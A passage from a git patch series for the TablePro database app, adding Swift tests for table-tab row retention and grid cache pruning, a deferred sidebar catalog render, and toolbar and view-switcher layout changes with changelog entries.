let oldestCache = coordinator.gridModel(forTab: ids[0]).display.cache + oldestCache.setBox(RowDisplayBox(["formatted", nil]), forID: .existing(0)) + for id in ids.dropFirst() { + _ = coordinator.gridModel(forTab: id) + } + + let outgoing = ids[ids.count - 1] + let incoming = ids[ids.count - 2] + tabManager.selectedTabId = incoming + coordinator.handleTabChange(from: outgoing, to: incoming, tabs: tabManager.tabs) + try await waitUntil { oldestCache.box(forID: .existing(0)) == nil } + + for id in ids { + let current = try tab(id, in: tabManager) + #expect(coordinator.tabSessionRegistry.tableRows(for: id).rows.count == Self.rowCount) + #expect(coordinator.canAutoLoadTableTab(current) == false) + } + } + + @Test("The prune releases only formatted text of grids off screen and used longest ago") + func pruneReleasesOnlyOldUnmountedText() { + let (coordinator, tabManager) = makeCoordinator() + let ids = (0..<(GridDisplayCacheBudget.unmountedGrids() + 2)).map { + addLoadedTableTab(coordinator, tabManager, tableName: "table_\($0)") + } + let caches = ids.map { id in + let cache = coordinator.gridModel(forTab: id).display.cache + cache.setBox(RowDisplayBox(["formatted", nil]), forID: .existing(0)) + return cache + } + + coordinator.pruneGridDisplayCaches() + + #expect(caches[0].box(forID: .existing(0)) == nil) + for cache in caches.dropFirst() { + #expect(cache.box(forID: .existing(0)) != nil) + } + for id in ids { + #expect(coordinator.tabSessionRegistry.tableRows(for: id).rows.count == Self.rowCount) + } + } + + // Holds without waiting: the old 5 s eviction would need a fixed sleep to observe, which the test rules forbid. + @Test("Losing key status keeps every background table tab's rows") + func resigningKeyKeepsRows() throws { + let (coordinator, tabManager) = makeCoordinator() + let background = addLoadedTableTab(coordinator, tabManager, tableName: "orders") + let selected = addLoadedTableTab(coordinator, tabManager, tableName: "customers") + coordinator.handleWindowDidBecomeKey() + + coordinator.handleWindowDidResignKey() + + #expect(coordinator.isKeyWindow == false) + for id in [background, selected] { + let current = try tab(id, in: tabManager) + #expect(coordinator.tabSessionRegistry.tableRows(for: id).rows.count == Self.rowCount) + #expect(coordinator.canAutoLoadTableTab(current) == false) + } + } + + @Test("Rows cannot be edited while a load that replaces them is running") + func rowsAreReadOnlyWhileReplaced() throws { + let (coordinator, tabManager) = makeCoordinator() + let tabId = addLoadedTableTab(coordinator, tabManager, tableName: "orders") + tabManager.mutate(tabId: tabId) { $0.tableContext.isEditable = true } + #expect(coordinator.canEditActiveResult) + + let claim = coordinator.tabExecution.claim(tabId) + let loading = try tab(tabId, in: tabManager) + #expect(coordinator.canEditActiveResult == false) + #expect(coordinator.gridConfiguration(for: loading).isEditable == false) + + let settled = coordinator.tabExecution.settle(claim) + #expect(settled) + #expect(coordinator.canEditActiveResult) + } + + @Test("A tab whose table TablePro changed keeps its rows and reloads when shown") + func changedTableReloadsOverItsRows() throws { + let (coordinator, tabManager) = makeCoordinator() + let background = addLoadedTableTab(coordinator, tabManager, tableName: "orders") + _ = addLoadedTableTab(coordinator, tabManager, tableName: "customers") + + coordinator.tabSessionRegistry.recordChange( + TableFreshness.Change(extent: .rows, at: .now), + for: background + ) + + let current = try tab(background, in: tabManager) + #expect(coordinator.tabSessionRegistry.tableRows(for: background).rows.count == Self.rowCount) + #expect(coordinator.canAutoLoadTableTab(current)) + } +} diff --git a/apple/changelog.d/3848.fixed.1.md b/apple/changelog.d/3848.fixed.1.md new file mode 100644 index 0000000000..4e885668ad --- /dev/null +++ b/apple/changelog.d/3848.fixed.1.md @@ -0,0 +1 @@ +A table tab waiting for its connection could run the statement under the cursor in a query tab instead. diff --git a/apple/changelog.d/3848.fixed.2.md b/apple/changelog.d/3848.fixed.2.md new file mode 100644 index 0000000000..4fbc5d3d95 --- /dev/null +++ b/apple/changelog.d/3848.fixed.2.md @@ -0,0 +1 @@ +A table tab could reload under an open cell and drop what you were typing after a save in another window. diff --git a/apple/changelog.d/3848.fixed.3.md b/apple/changelog.d/3848.fixed.3.md new file mode 100644 index 0000000000..4a17efaa16 --- /dev/null +++ b/apple/changelog.d/3848.fixed.3.md @@ -0,0 +1 @@ +Edits made to rows while a query or refresh was still loading new ones were discarded when it finished. diff --git a/apple/changelog.d/3848.fixed.md b/apple/changelog.d/3848.fixed.md new file mode 100644 index 0000000000..a131958c66 --- /dev/null +++ b/apple/changelog.d/3848.fixed.md @@ -0,0 +1 @@ +Table tabs ran their query again when you switched back to them or returned to TablePro from another app. From c0ab4099ce37c85e2f5d9b02786312db7977336b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Tue, 27 Oct 2026 01:18:10 +0700 Subject: [PATCH 04/44] perf(sidebar): put the first catalog's outline up a committed frame later (#3849) --- .../Extensions/NSWindow+FirstFrame.swift | 12 +++++++++ .../SidebarObjectListPresentation.swift | 6 +++++ .../TablePro/Views/Sidebar/SidebarView.swift | 26 +++++++++++++++++-- .../Extensions/NSWindowNextFrameTests.swift | 11 ++++++++ .../SidebarObjectListPresentationTests.swift | 8 ++++++ apple/changelog.d/3849.fixed.md | 1 + 6 files changed, 62 insertions(+), 2 deletions(-) create mode 100644 apple/changelog.d/3849.fixed.md diff --git a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift index 925156f3eb..eb851bc4ed 100644 --- a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift +++ b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift @@ -58,6 +58,18 @@ internal extension NSWindow { } } +/// Work that must not share a run loop turn with the frame this turn builds. +@MainActor +internal enum CommittedTurn { + /// Runs `body` after this turn's frame is committed, in a later turn. A main-queue hop alone can run + /// before the run loop waits, so the hang would still be one: both pieces between two waits. + static func after(_ body: @escaping @MainActor () -> Void) { + CATransaction.setCompletionBlock { + DispatchQueue.main.async { MainActor.assumeIsolated(body) } + } + } +} + @MainActor private final class FrameGate { var continuation: CheckedContinuation? diff --git a/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift b/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift index 018b3f3f6e..5d6741568a 100644 --- a/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift +++ b/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift @@ -32,6 +32,12 @@ internal enum SidebarObjectListPresentation: Equatable { /// Reaching for the state enum directly instead is what left the tree with a spinner on no gate /// at all, flashing it on every engine that groups by schema while the two flat shapes beside /// it held theirs back. + /// What the list stands on while a loaded catalog waits for its turn: the load still reads as in flight. + internal static func presentedState(_ state: SchemaState, showsLoaded: Bool) -> SchemaState { + if case .loaded = state, !showsLoaded { return .loading } + return state + } + internal static func resolveDeferringEmptyStates( state: SchemaState, hasOutlastedGrace: Bool = true diff --git a/apple/TablePro/Views/Sidebar/SidebarView.swift b/apple/TablePro/Views/Sidebar/SidebarView.swift index 08a7436198..1d9b0e002f 100644 --- a/apple/TablePro/Views/Sidebar/SidebarView.swift +++ b/apple/TablePro/Views/Sidebar/SidebarView.swift @@ -15,6 +15,8 @@ struct SidebarView: View { @StateObject private var viewModel: SidebarViewModel @ObservedObject private var settingsManager = AppSettingsManager.shared @State private var showsSchemaProgress = false + /// See `presentedSchemaState`. + @State private var showsLoadedCatalog = false @ObservedObject private var schemaService = SchemaService.shared @ObservedObject private var treeMetadata = DatabaseTreeMetadataService.shared @@ -200,6 +202,15 @@ struct SidebarView: View { } .onAppear { coordinator?.sidebarViewModel = viewModel + // A pane put back on screen shows the list it already had. + showsLoadedCatalog = isCatalogLoaded + } + .onChange(of: isCatalogLoaded) { isLoaded in + guard isLoaded else { + showsLoadedCatalog = false + return + } + CommittedTurn.after { showsLoadedCatalog = true } } .onChange(of: viewModel.showOperationDialog) { isPresented in guard isPresented else { return } @@ -305,7 +316,7 @@ struct SidebarView: View { @ViewBuilder private var hierarchicalContent: some View { let presentation = SidebarObjectListPresentation.resolveDeferringEmptyStates( - state: schemaService.state(for: connectionId), + state: presentedSchemaState, hasOutlastedGrace: showsSchemaProgress ) Group { @@ -336,9 +347,20 @@ struct SidebarView: View { ) } + private var isCatalogLoaded: Bool { + if case .loaded = schemaService.state(for: connectionId) { return true } + return false + } + + // A connection's first catalog can land in the turn that commits the restored tab's frame, and building the + // outline there made one stall of both. The outline goes up in a later turn, the loading state held till then. + private var presentedSchemaState: SchemaState { + SidebarObjectListPresentation.presentedState(schemaService.state(for: connectionId), showsLoaded: showsLoadedCatalog) + } + private var objectListPresentation: SidebarObjectListPresentation { SidebarObjectListPresentation.resolve( - state: schemaService.state(for: connectionId), + state: presentedSchemaState, hasActiveFilter: !viewModel.filterQuery.isEmpty, hasAnyMatch: hasAnyMatch, hasOutlastedGrace: showsSchemaProgress, diff --git a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift index 24652779f4..ae48456d27 100644 --- a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift +++ b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift @@ -5,6 +5,7 @@ import AppKit @testable import TablePro +import TableProTestSupport import Testing @MainActor @@ -49,4 +50,14 @@ struct NSWindowNextFrameTests { #expect(FirstFrameObserver.liveCount == before) } + + @Test("Work after the committed turn never runs in the turn that asked for it") + func committedTurnRunsLater() async throws { + var ran = false + + CommittedTurn.after { ran = true } + + #expect(!ran) + try await waitUntil { ran } + } } diff --git a/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift b/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift index 8fd0d08fa6..830de95668 100644 --- a/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift +++ b/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift @@ -167,4 +167,12 @@ struct SidebarObjectListPresentationTests { hasOutlastedGrace: false ) == .failed("boom")) } + @Test("A loaded catalog waiting for its turn still reads as loading, and every other state passes through") + func heldCatalogReadsAsLoading() { + let loaded = SchemaState.loaded([table("users")]) + #expect(SidebarObjectListPresentation.presentedState(loaded, showsLoaded: false) == .loading) + #expect(SidebarObjectListPresentation.presentedState(loaded, showsLoaded: true) == loaded) + #expect(SidebarObjectListPresentation.presentedState(.failed("boom"), showsLoaded: false) == .failed("boom")) + #expect(SidebarObjectListPresentation.presentedState(.idle, showsLoaded: true) == .idle) + } } diff --git a/apple/changelog.d/3849.fixed.md b/apple/changelog.d/3849.fixed.md new file mode 100644 index 0000000000..51afd3407b --- /dev/null +++ b/apple/changelog.d/3849.fixed.md @@ -0,0 +1 @@ +The sidebar no longer freezes the window for a moment when a very large table list first loads. From e6b5e61adca55e26981b183d1d95267a3145eae1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Tue, 27 Oct 2026 02:14:17 +0700 Subject: [PATCH 05/44] fix(chrome): place toolbar sections and view switchers where the HIG puts them (#3851) --- .../DataGrid/Binding+CommittingGridEdit.swift | 23 ++++ .../Infrastructure/MainWindowToolbar.swift | 16 ++- .../Toolbar/ToolbarSymbols.swift | 25 ++-- .../AIChat/AIChatWalkthroughBlockView.swift | 2 +- .../Views/Compare/CompareDetailView.swift | 11 +- .../Compare/CompareSyncWindowController.swift | 6 +- .../Views/Components/DiagramZoomToolbar.swift | 19 ++- .../Views/Components/ViewSwitcherStyle.swift | 65 ++++++++++ .../Views/DataFiles/DataFileContentView.swift | 6 +- .../DataFiles/DataFileWindowController.swift | 24 +++- .../IntegrationsActivityLogPane.swift | 4 +- .../UserType/UserTypeTabView.swift | 19 ++- .../Views/QueryPlan/QueryPlanResultView.swift | 3 +- .../Views/Results/BinaryValueViewerView.swift | 3 +- .../Views/Results/CellImageViewer.swift | 3 +- .../Views/Results/JSONViewerView.swift | 3 +- .../Views/Results/PhpViewerView.swift | 3 +- .../Views/Results/ResultStatusBar.swift | 2 +- .../Views/Results/ResultsJsonView.swift | 3 +- .../FieldEditors/GeometryFieldView.swift | 3 +- .../RowInspector/TrailingPaneHeaderView.swift | 3 +- .../Views/Sidebar/SidebarScopeControl.swift | 12 ++ .../Structure/CreateTableFormEditor.swift | 53 ++++---- .../Views/Structure/CreateTableView.swift | 116 +++++++++++------- .../Views/Structure/TableStructureView.swift | 28 ++--- .../UsersRoles/PrincipalDetailPane.swift | 2 +- .../PrivilegeScopeOutlineCoordinator.swift | 29 ++++- .../VersionHistoryDetailHeader.swift | 4 +- .../Views/Components/BottomSafeAreaBar.swift | 22 ---- .../Views/Components/SafeAreaBar.swift | 27 ++++ .../Views/ConnectionListView.swift | 2 +- .../Views/DataBrowserView.swift | 10 +- .../TableProMobile/Views/StructureView.swift | 3 +- apple/TableProMobile/project.yml | 2 + .../BindingCommittingGridEditTests.swift | 46 +++++++ .../Core/Menu/ChromeSnapshot.json | 4 +- .../Infrastructure/ToolbarSymbolsTests.swift | 11 +- .../Components/ViewSwitcherStyleTests.swift | 76 ++++++++++++ .../Sidebar/SidebarScopeControlTests.swift | 13 ++ .../PrivilegeScopeOutlineSelectionTests.swift | 54 ++++++++ .../DataFileWindowUITests.swift | 2 +- .../QueryPlanResultUITests.swift | 7 +- .../TableProUITests/Support/UITestCase.swift | 11 +- apple/changelog.d/3851.changed.md | 1 + .../probes/check-toolbar-autosave-reorder.sh | 98 +++++++++++++++ 45 files changed, 695 insertions(+), 184 deletions(-) create mode 100644 apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift create mode 100644 apple/TablePro/Views/Components/ViewSwitcherStyle.swift delete mode 100644 apple/TableProMobile/TableProMobile/Views/Components/BottomSafeAreaBar.swift create mode 100644 apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift create mode 100644 apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift create mode 100644 apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift create mode 100644 apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift create mode 100644 apple/changelog.d/3851.changed.md create mode 100755 apple/scripts/probes/check-toolbar-autosave-reorder.sh diff --git a/apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift b/apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift new file mode 100644 index 0000000000..e67f7df75d --- /dev/null +++ b/apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift @@ -0,0 +1,23 @@ +// +// Binding+CommittingGridEdit.swift +// TablePro +// + +import SwiftUI + +extension Binding { + /// For a tab selection whose panes share one grid model. The open cell edit commits against the pane + /// being left before the new tab is published, because the incoming pane's grid can mount before + /// the outgoing one is dismantled, and an edit committed at that teardown would land on the new + /// pane's rows, which reuse the same row and column ids. + @MainActor + func committingEdit(of model: DataGridModel) -> Binding { + Binding( + get: { wrappedValue }, + set: { newValue in + model.commitEditing() + wrappedValue = newValue + } + ) + } +} diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift index 1e9efd2d10..714e89c20f 100644 --- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift +++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift @@ -23,7 +23,9 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate { /// record on the next launch. A user who customized keeps their arrangement and still receives /// new items where they belong; a bump would throw that away along with their display mode. /// The record is six keys and `isHidden` is not among them, since it is runtime state that is - /// never persisted, so a context-sensitive item set is no reason to bump either. + /// never persisted, so a context-sensitive item set is no reason to bump either. A reordered + /// default list needs no bump: a toolbar nobody customized stores no item list and takes the + /// new order, and a customized one keeps the user's (`scripts/probes/check-toolbar-autosave-reorder.sh`). /// /// Bump only for a change that diff cannot express, and say which. Neither fact was measured on /// macOS 13 or 14. @@ -411,8 +413,14 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate { /// Eight controls, and the zones are the panes. AppKit's own sidebar toggle stands alone ahead of /// `.sidebarTrackingSeparator`, so it lays out in the sidebar's titlebar strip and follows the - /// divider; the connection and its container are centred; Refresh, the commit verb, the Actions - /// pull-down and Safe Mode are the content run; the trailing-pane toggle closes the row. + /// divider; the connection and its container are centred; Refresh, the Actions pull-down, Safe + /// Mode and the commit verb are the content run; the trailing-pane toggle closes the row. + /// + /// The commit verb comes last because the HIG gives a critical action like Save "dedicated, + /// familiar, and visually distinct sections" and puts the primary action on the trailing side. + /// Measured on macOS 27, AppKit already gives it a glass section of its own there: Safe Mode's + /// menu indicator ends the shared capsule before it, so no `.space` is needed, and one drew + /// pixel-identical. /// /// A tracking separator divides the toolbar into pane-aligned sections; it does not align the /// items inside one. Everything after `.inspectorTrackingSeparator` therefore lays out from @@ -444,9 +452,9 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate { database, .flexibleSpace, refresh, - saveChanges, actions, safeMode, + saveChanges, ] if #available(macOS 14.0, *) { items.append(.inspectorTrackingSeparator) diff --git a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift index f12e17e0cb..648ce75104 100644 --- a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift +++ b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift @@ -5,17 +5,17 @@ import Foundation -/// The glyphs a window toolbar draws for the actions every toolbar shares. +/// The glyphs a toolbar draws for the actions every toolbar shares, in both apps. /// -/// From macOS 26 a toolbar item sits in its own glass container, and the HIG asks for symbols -/// without borders there: the container is the border, so a circled glyph draws two. Earlier -/// releases give an item no container, and the circled form is the one their own toolbars use. -/// Each answer is a function of that one fact, so both forms can be tested on either release. -internal enum ToolbarSymbols { +/// From macOS 26 and iOS 26 a toolbar item sits in its own glass container, and the HIG asks for +/// symbols without borders there: the container is the border, so a circled glyph draws two. +/// Earlier releases give an item no container, and the circled form is the one their own toolbars +/// use. Each answer is a function of that one fact, so both forms can be tested on either release. +nonisolated internal enum ToolbarSymbols { internal static let commit = "checkmark" internal static var itemsHaveContainer: Bool { - if #available(macOS 26.0, *) { + if #available(macOS 26.0, iOS 26.0, *) { return true } return false @@ -42,6 +42,17 @@ internal enum ToolbarSymbols { return itemsHaveContainer ? "line.3.horizontal.decrease" : "line.3.horizontal.decrease.circle" } + /// The filled disc is state, a sort in effect, as it is for the filter. + internal static func sort( + isActive: Bool = false, + itemsHaveContainer: Bool = ToolbarSymbols.itemsHaveContainer + ) -> String { + if isActive { + return "arrow.up.arrow.down.circle.fill" + } + return itemsHaveContainer ? "arrow.up.arrow.down" : "arrow.up.arrow.down.circle" + } + internal static func disconnect(itemsHaveContainer: Bool = ToolbarSymbols.itemsHaveContainer) -> String { itemsHaveContainer ? "xmark" : "xmark.circle" } diff --git a/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift b/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift index f334fa115a..f417403b01 100644 --- a/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift +++ b/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift @@ -85,8 +85,8 @@ struct AIChatWalkthroughBlockView: View { Spacer() if walkthrough.hasDiff { Picker(String(localized: "Diff layout"), selection: diffStyleBinding) { - Text("Unified").tag(SqlWalkthroughDiffStyle.unified) Text("Split").tag(SqlWalkthroughDiffStyle.split) + Text("Unified").tag(SqlWalkthroughDiffStyle.unified) } .pickerStyle(.segmented) .labelsHidden() diff --git a/apple/TablePro/Views/Compare/CompareDetailView.swift b/apple/TablePro/Views/Compare/CompareDetailView.swift index 2357e9fb06..4b8d88cb90 100644 --- a/apple/TablePro/Views/Compare/CompareDetailView.swift +++ b/apple/TablePro/Views/Compare/CompareDetailView.swift @@ -29,16 +29,15 @@ internal struct CompareDetailView: View { } private var paneSelector: some View { - Picker(String(localized: "Detail"), selection: $session.detailPane) { + PaneTabBar( + title: String(localized: "Detail"), + selection: $session.detailPane, + identifier: "compare-detail-tabs" + ) { ForEach(CompareDetailPane.allCases, id: \.self) { pane in Text(pane.title).tag(pane) } } - .pickerStyle(.segmented) - .labelsHidden() - .fixedSize() - .padding(.vertical, 8) - .frame(maxWidth: .infinity) } @ViewBuilder diff --git a/apple/TablePro/Views/Compare/CompareSyncWindowController.swift b/apple/TablePro/Views/Compare/CompareSyncWindowController.swift index 26e514086e..bd19dc5070 100644 --- a/apple/TablePro/Views/Compare/CompareSyncWindowController.swift +++ b/apple/TablePro/Views/Compare/CompareSyncWindowController.swift @@ -153,7 +153,11 @@ internal final class CompareSyncWindowController: NSWindowController, private func installToolbar(on window: NSWindow) { let toolbar = NSToolbar(identifier: "com.TablePro.CompareSyncToolbar") toolbar.delegate = self - toolbar.displayMode = .iconAndLabel + /// Icon only, the default every other TablePro window and the system apps ship. The source + /// and target items still read as words, since an item's title draws in this mode, and a + /// user who wants labels sets Icon and Text from Customize Toolbar, which is autosaved and + /// restored over this default. + toolbar.displayMode = .iconOnly toolbar.allowsUserCustomization = true toolbar.autosavesConfiguration = true window.toolbar = toolbar diff --git a/apple/TablePro/Views/Components/DiagramZoomToolbar.swift b/apple/TablePro/Views/Components/DiagramZoomToolbar.swift index 1c74411f82..bbbe412086 100644 --- a/apple/TablePro/Views/Components/DiagramZoomToolbar.swift +++ b/apple/TablePro/Views/Components/DiagramZoomToolbar.swift @@ -59,11 +59,26 @@ struct DiagramZoomToolbar: View { .buttonStyle(.borderless) .padding(.horizontal, 10) .padding(.vertical, 6) - .themeMaterial(.toolbar, .thinMaterial, in: Capsule()) - .overlay(Capsule().strokeBorder(.quaternary, lineWidth: 0.5)) + .modifier(DiagramZoomSurface()) } private var zoomPercentage: String { "\(Int((viewport.magnification * 100).rounded()))%" } } + +/// Controls floating over content take Liquid Glass from macOS 26, as the Open Quickly panel and +/// the chat's jump button already do. Glass draws its own edge and adapts to Reduce Transparency +/// and Increase Contrast itself, so the hairline and the solid fallback belong to the material +/// only. +private struct DiagramZoomSurface: ViewModifier { + func body(content: Content) -> some View { + if #available(macOS 26.0, *) { + content.glassEffect(.regular, in: Capsule()) + } else { + content + .themeMaterial(.toolbar, .thinMaterial, in: Capsule()) + .overlay(Capsule().strokeBorder(.quaternary, lineWidth: 0.5)) + } + } +} diff --git a/apple/TablePro/Views/Components/ViewSwitcherStyle.swift b/apple/TablePro/Views/Components/ViewSwitcherStyle.swift new file mode 100644 index 0000000000..fc1aa5cc8f --- /dev/null +++ b/apple/TablePro/Views/Components/ViewSwitcherStyle.swift @@ -0,0 +1,65 @@ +// +// ViewSwitcherStyle.swift +// TablePro +// + +import SwiftUI + +/// Measured on macOS 27, small `.tabs` draws a flat track with a raised neutral thumb, the look Apple +/// gives tab navigation, where small `.segmented` fills the thumb with the accent and reads as a value. +/// +/// To accessibility it is then a tab group of tab buttons rather than a radio group of segments. +private struct ViewSwitcherStyle: ViewModifier { + let controlSize: ControlSize + + func body(content: Content) -> some View { + switcher(content) + .controlSize(controlSize) + } + + @ViewBuilder + private func switcher(_ content: Content) -> some View { + #if SDK_MACOS_27 + if #available(macOS 27.0, *) { + content.pickerStyle(.tabs) + } else { + content.pickerStyle(.segmented) + } + #else + content.pickerStyle(.segmented) + #endif + } +} + +internal extension View { + /// For a picker that switches what a pane shows: small in a pane bar, status bar, viewer strip or + /// inspector, regular in a `PaneTabBar`. A picker that sets a value stays `.segmented`. + func viewSwitcherStyle(_ controlSize: ControlSize = .small) -> some View { + modifier(ViewSwitcherStyle(controlSize: controlSize)) + } +} + +/// The tab row a main-window pane switches its views with, centred over content that runs edge to +/// edge. A bordered tab view boxes and insets the grids these panes hold; the tabs role is the +/// control macOS 27 gives tab navigation, and before it the segmented control is. +internal struct PaneTabBar: View { + let title: String + @Binding var selection: Selection + let identifier: String + @ViewBuilder let tabs: () -> Tabs + + /// Spacers rather than a fixed size, so a pane narrower than the tabs compresses them instead of + /// pushing the outer ones past its edges. + var body: some View { + HStack(spacing: 0) { + Spacer(minLength: 0) + Picker(title, selection: $selection, content: tabs) + .labelsHidden() + .viewSwitcherStyle(.regular) + .accessibilityIdentifier(identifier) + Spacer(minLength: 0) + } + .padding(.horizontal) + .padding(.vertical, 8) + } +} diff --git a/apple/TablePro/Views/DataFiles/DataFileContentView.swift b/apple/TablePro/Views/DataFiles/DataFileContentView.swift index fe2a2dd979..e662a59e91 100644 --- a/apple/TablePro/Views/DataFiles/DataFileContentView.swift +++ b/apple/TablePro/Views/DataFiles/DataFileContentView.swift @@ -99,14 +99,15 @@ struct DataFileContentView: View { } struct DataFileSheetTabs: View { - static let segmentedSheetLimit = 8 + /// The HIG's limit for tabs, past which it asks for a pop-up menu instead. + static let segmentedSheetLimit = 6 @ObservedObject var controller: DataFileController var body: some View { HStack { if controller.sheets.count <= Self.segmentedSheetLimit { - picker.pickerStyle(.segmented) + picker.viewSwitcherStyle() } else { picker.pickerStyle(.menu) } @@ -130,5 +131,6 @@ struct DataFileSheetTabs: View { .labelsHidden() .fixedSize() .accessibilityLabel(String(localized: "Sheet")) + .accessibilityIdentifier("data-file-sheet-picker") } } diff --git a/apple/TablePro/Views/DataFiles/DataFileWindowController.swift b/apple/TablePro/Views/DataFiles/DataFileWindowController.swift index d558fda84b..945b1c42ef 100644 --- a/apple/TablePro/Views/DataFiles/DataFileWindowController.swift +++ b/apple/TablePro/Views/DataFiles/DataFileWindowController.swift @@ -12,7 +12,15 @@ extension NSToolbarItem.Identifier { static let dataFileColumns = NSToolbarItem.Identifier("com.TablePro.dataFile.columns") static let dataFileFilters = NSToolbarItem.Identifier("com.TablePro.dataFile.filters") static let dataFileSearch = NSToolbarItem.Identifier("com.TablePro.dataFile.search") - static let dataFileInspector = NSToolbarItem.Identifier("com.TablePro.dataFile.inspector") + /// AppKit's own inspector toggle from macOS 14, which draws the system glyph and sends + /// `toggleInspector(_:)` down the responder chain to the split controller. macOS 13 has no such + /// item, so it keeps an app-owned one. + static let dataFileInspector: NSToolbarItem.Identifier = { + if #available(macOS 14.0, *) { + return .toggleInspector + } + return NSToolbarItem.Identifier("com.TablePro.dataFile.inspector") + }() } @MainActor @@ -110,6 +118,7 @@ final class DataFileWindowController: NSWindowController, NSWindowDelegate, NSTo return makeItem(itemIdentifier, label: String(localized: "Filters"), symbol: ToolbarSymbols.filter(), action: #selector(DataFileSplitViewController.toggleFilterBar(_:))) case .dataFileInspector: + guard #unavailable(macOS 14.0) else { return nil } return makeItem(itemIdentifier, label: String(localized: "Inspector"), symbol: "sidebar.trailing", action: #selector(DataFileSplitViewController.toggleInspector(_:))) case .dataFileColumns: @@ -132,9 +141,18 @@ final class DataFileWindowController: NSWindowController, NSWindowDelegate, NSTo } } + /// The inspector toggle follows the order the main window uses: after the tracking separator + /// and a flexible space, so it sits over the inspector and stays at the trailing edge whether + /// the pane is open or not. func toolbarDefaultItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { - [.dataFileAddRow, .dataFileDeleteRows, .dataFileColumns, .flexibleSpace, .dataFileFilters, - .dataFileSearch, .dataFileInspector] + var items: [NSToolbarItem.Identifier] = [ + .dataFileAddRow, .dataFileDeleteRows, .dataFileColumns, .flexibleSpace, .dataFileFilters, .dataFileSearch, + ] + if #available(macOS 14.0, *) { + items.append(contentsOf: [.inspectorTrackingSeparator, .flexibleSpace]) + } + items.append(.dataFileInspector) + return items } func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { diff --git a/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift b/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift index d23b875f30..099d929d3d 100644 --- a/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift +++ b/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift @@ -154,11 +154,13 @@ struct IntegrationsActivityLogPane: View { .disabled(isLoading) } + /// `sidebar.trailing` is the glyph AppKit's own inspector toggle draws, and unlike + /// `sidebar.right` it mirrors in a right-to-left layout. private var inspectorToggle: some View { Button { showInspector.toggle() } label: { - Label(String(localized: "Details"), systemImage: "sidebar.right") + Label(String(localized: "Details"), systemImage: "sidebar.trailing") } .help(String(localized: "Show details")) } diff --git a/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift b/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift index b3c5e3914e..c4a73e2b75 100644 --- a/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift +++ b/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift @@ -186,20 +186,15 @@ struct UserTypeTabView: View { private func editor(_ projection: UserTypeDraft.Projection) -> some View { VStack(spacing: 0) { - HStack { - Spacer() - Picker(String(localized: "Section"), selection: $model.section) { - ForEach(sections, id: \.self) { section in - Text(title(for: section)).tag(section) - } + PaneTabBar( + title: String(localized: "Section"), + selection: $model.section, + identifier: "user-type-section-picker" + ) { + ForEach(sections, id: \.self) { section in + Text(title(for: section)).tag(section) } - .pickerStyle(.segmented) - .labelsHidden() - .fixedSize() - .accessibilityIdentifier("user-type-section-picker") - Spacer() } - .padding(.vertical, 8) Divider() Group { switch model.section { diff --git a/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift b/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift index 4c47fa4b84..a84f4c1fba 100644 --- a/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift +++ b/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift @@ -187,8 +187,7 @@ struct QueryPlanResultView: View { Text(mode.title).tag(mode) } } - .pickerStyle(.segmented) - .controlSize(.small) + .viewSwitcherStyle() .fixedSize() .labelsHidden() .accessibilityIdentifier("query-plan-mode-picker") diff --git 